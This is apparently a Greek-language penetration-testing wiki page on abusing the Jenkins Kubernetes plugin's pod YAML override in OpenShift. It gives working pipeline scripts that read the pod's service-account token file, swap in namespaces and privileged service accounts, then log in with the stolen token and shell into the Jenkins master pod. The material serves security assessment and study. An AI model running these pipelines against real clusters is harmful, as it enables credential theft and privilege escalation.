OpenShift - Jenkins Build Pod Override

Ο αρχικός συγγραφέας αυτής της σελίδας είναι Fares

Πρόσθετο Kubernetes για το Jenkins

Αυτό το πρόσθετο είναι υπεύθυνο κυρίως για τις βασικές λειτουργίες του Jenkins μέσα σε ένα cluster openshift/kubernetes. Επίσημη τεκμηρίωση εδώ Προσφέρει μερικές λειτουργίες όπως η δυνατότητα για τους προγραμματιστές να αντικαθιστούν μερικές προεπιλεγμένες ρυθμίσεις ενός build pod του jenkins.

Βασική λειτουργικότητα

Αυτό το πρόσθετο προσφέρει ευελιξία στους προγραμματιστές κατά την κατασκευή του κώδικά τους σε κατάλληλο περιβάλλον.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Κάποιες καταχρήσεις εκμεταλλευόμενες την παράκαμψη yaml του pod

Ωστόσο, μπορεί να καταχραστεί για να χρησιμοποιήσει οποιαδήποτε προσβάσιμη εικόνα όπως το Kali Linux και να εκτελέσει αυθαίρετες εντολές χρησιμοποιώντας προεγκατεστημένα εργαλεία από αυτήν την εικόνα. Στο παρακάτω παράδειγμα μπορούμε να εξαγάγουμε το token του λογαριασμού υπηρεσίας του τρέχοντος pod.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Ένας διαφορετικός συντακτικός για να επιτευχθεί το ίδιο αποτέλεσμα.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Δείγμα για αντικατάσταση του namespace του pod

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Ένα άλλο παράδειγμα που προσπαθεί να προσαρτήσει ένα serviceaccount (το οποίο μπορεί να έχει περισσότερες άδειες από το προεπιλεγμένο, το οποίο εκτελεί τη διαδικασία κατασκευής σας) με βάση το όνομά του. Μπορεί να χρειαστεί να μαντέψετε ή να απαριθμήσετε πρώτα τα υπάρχοντα serviceaccounts.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Η ίδια τεχνική ισχύει για να δοκιμάσετε την προσάρτηση ενός Secret. Ο τελικός στόχος εδώ θα ήταν να βρείτε πώς να ρυθμίσετε την κατασκευή του pod σας για να αποκτήσετε αποτελεσματικά προνόμια ή να κάνετε pivot.

Πηγαίνοντας παραπέρα

Μόλις συνηθίσετε να πειράζετε με αυτό, χρησιμοποιήστε τις γνώσεις σας στο Jenkins και στο Kubernetes/Openshift για να βρείτε λανθασμένες ρυθμίσεις / καταχρήσεις.

Κάντε στον εαυτό σας τις παρακάτω ερωτήσεις:

  • Ποιο λογαριασμό υπηρεσίας χρησιμοποιείται για την ανάπτυξη των build pods;

  • Ποιο ρόλο και ποιες άδειες έχει; Μπορεί να διαβάσει μυστικά του namespace στον οποίο βρίσκομαι αυτή τη στιγμή;

  • Μπορώ να επιπλέον απαριθμήσω άλλα build pods;

  • Από έναν συμβιβασμένο sa, μπορώ να εκτελέσω εντολές στον κύριο κόμβο/pod;

  • Μπορώ να επιπλέον απαριθμήσω το cluster για να κάνω pivot αλλού;

  • Ποιο SCC εφαρμόζεται;

Μπορείτε να μάθετε ποιες εντολές oc/kubectl να εκδώσετε εδώ και εδώ.

Δυνητικά σενάρια ανύψωσης προνομίων/επιπλέον

Ας υποθέσουμε ότι κατά την αξιολόγησή σας ανακαλύψατε ότι όλες οι κατασκευές jenkins τρέχουν μέσα σε ένα namespace που ονομάζεται worker-ns. Ανακαλύψατε ότι ένας προεπιλεγμένος λογαριασμός υπηρεσίας που ονομάζεται default-sa είναι προσαρτημένος στα build pods, ωστόσο δεν έχει πολλές άδειες εκτός από πρόσβαση ανάγνωσης σε μερικούς πόρους, αλλά καταφέρατε να εντοπίσετε έναν υπάρχοντα λογαριασμό υπηρεσίας που ονομάζεται master-sa. Ας υποθέσουμε επίσης ότι έχετε εγκαταστήσει την εντολή oc μέσα στον τρέχοντα build container.

Με το παρακάτω script κατασκευής μπορείτε να αναλάβετε τον έλεγχο του λογαριασμού υπηρεσίας master-sa και να απαριθμήσετε περαιτέρω.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Ανάλογα με την πρόσβασή σας, είτε πρέπει να συνεχίσετε την επίθεσή σας από το σενάριο κατασκευής είτε μπορείτε να συνδεθείτε απευθείας ως αυτό το sa στο ενεργό cluster:

oc login --token=$token --server=https://apiserver.com:port

Αν αυτό το sa έχει αρκετές άδειες (όπως pod/exec), μπορείτε επίσης να αναλάβετε τον έλεγχο ολόκληρης της περίπτωσης jenkins εκτελώντας εντολές μέσα στο pod του master node, αν τρέχει μέσα στον ίδιο χώρο ονομάτων. Μπορείτε εύκολα να αναγνωρίσετε αυτό το pod μέσω του ονόματός του και από το γεγονός ότι πρέπει να τοποθετεί ένα PVC (αίτηση μόνιμου όγκου) που χρησιμοποιείται για την αποθήκευση δεδομένων του jenkins.

oc rsh pod_name -c container_name

Σε περίπτωση που το pod του master node δεν εκτελείται στον ίδιο χώρο ονομάζοντας τους workers, μπορείτε να δοκιμάσετε παρόμοιες επιθέσεις στο namespace του master. Ας υποθέσουμε ότι ονομάζεται jenkins-master. Να έχετε υπόψη ότι το serviceAccount master-sa πρέπει να υπάρχει στο namespace jenkins-master (και ενδέχεται να μην υπάρχει στο namespace worker-ns).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated